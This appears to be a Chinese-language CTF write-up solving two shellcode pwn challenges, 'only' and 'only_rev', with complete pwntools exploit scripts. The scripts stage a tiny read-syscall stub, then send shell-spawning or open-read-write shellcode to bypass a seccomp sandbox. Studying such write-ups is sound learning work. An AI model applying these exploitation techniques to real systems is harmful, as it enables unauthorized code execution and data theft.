Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

only

checksec:

保护全开 IDA64打开

显示了菜单,在bookkeeping函数里:

%lf是双精度浮点数,要求输入的浮点数是:

当输入一个符合要求的浮点数时,就会跳转到漏洞函数:

选 run your code会先执行一段汇编,这段汇编是清空除了RIP RSP的其他寄存器:

然后允许输入0xA大小的shellcode

0xA大小的汇编太小,所以需要重新利用syscall写一个新的read

执行写入shellcode前的栈布局是这样的:

将RAX赋值为0,将RDI赋值为0,RSI赋值为shellcode地址的起始,RDX赋值为大一些的长度,就能重新读shellcode

现在栈上的RSP+0x8是0 RSP+0x10是一个大数,RSP+0x18是1,RSP+0x28是shellcode地址

所以shellcode就能利用不断pop把这些参数传给各个寄存器

在执行了syscall后就能写入普通的shellcode get shell了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
# context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')
context(log_level='debug',arch='amd64', os='linux')
p = process('./chal')
gdb.attach(p)


p.sendlineafter("3.exit\n", b'2')
#pause()

x = 0xD0E0A0D0B0E0E0F

d = struct.unpack('<d', struct.pack('<Q', x))[0]

print(d)
p.sendlineafter("input:\n", b'8.592564544313935e-246')
p.sendlineafter("Make a choice:", b'1')

code = asm('''

pop rax;
pop rax;
pop rdx;
pop rdi;
pop rdi;
pop rsi;
syscall;
''')
pause()
p.sendafter("code:", code)

sleep(1)
shellcode = asm(shellcraft.sh())
p.send(b'a' * 0x32 + shellcode)

p.interactive()

only_rev

checksec:

开了全保护

程序开了沙箱,禁用了execve和execveat

IDA64查看漏洞函数:

这个程序和上一个相比,预先执行的汇编多了对RSP和RBP的操作

同时写入大小也限制在了9字节

由于加入了对栈的操作,栈结构被破坏无法像上一题一样利用pop传给寄存器:

Linux下的shellcode技巧总结 | roderick - record and learn!

在roderick师傅写的shellcode总结文章可以知道,当寄存器全0的时候执行syscall会将RIP的值传给RCX

执行syscall之前:

执行syscall之后:

可以看到RCX被赋予了和RIP相同的值(syscall在执行系统调用前,都会将RIP保存在RCX里,全为0的寄存器相当于执行了读取0字节的read,会直接不读取结束)

接下来就将rcx赋值给rsi,rdx(dl)给0xff字节来执行ORW就能得到flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
# context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')
context(log_level='debug',arch='amd64', os='linux')
p = process('./only_rev')
gdb.attach(p)


p.sendlineafter("3.exit\n", b'2')
#pause()

x = 0xD0E0A0D0B0E0E0F

d = struct.unpack('<d', struct.pack('<Q', x))[0]

print(d)
p.sendlineafter("input:\n", b'8.592564544313935e-246')
p.sendlineafter("Make a choice:", b'1')

code = asm('''

syscall;
mov rsi, rcx;
mov dl, 0xff;
syscall;
''')
pause()
p.sendafter("code:", code)
sleep(0.5)
shellcode = asm('''

mov dl, 0xff;
syscall;
sub rbp,0x12345678
sub rsp,0x12345678
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall

''')
p.send(shellcode)
p.interactive()

评论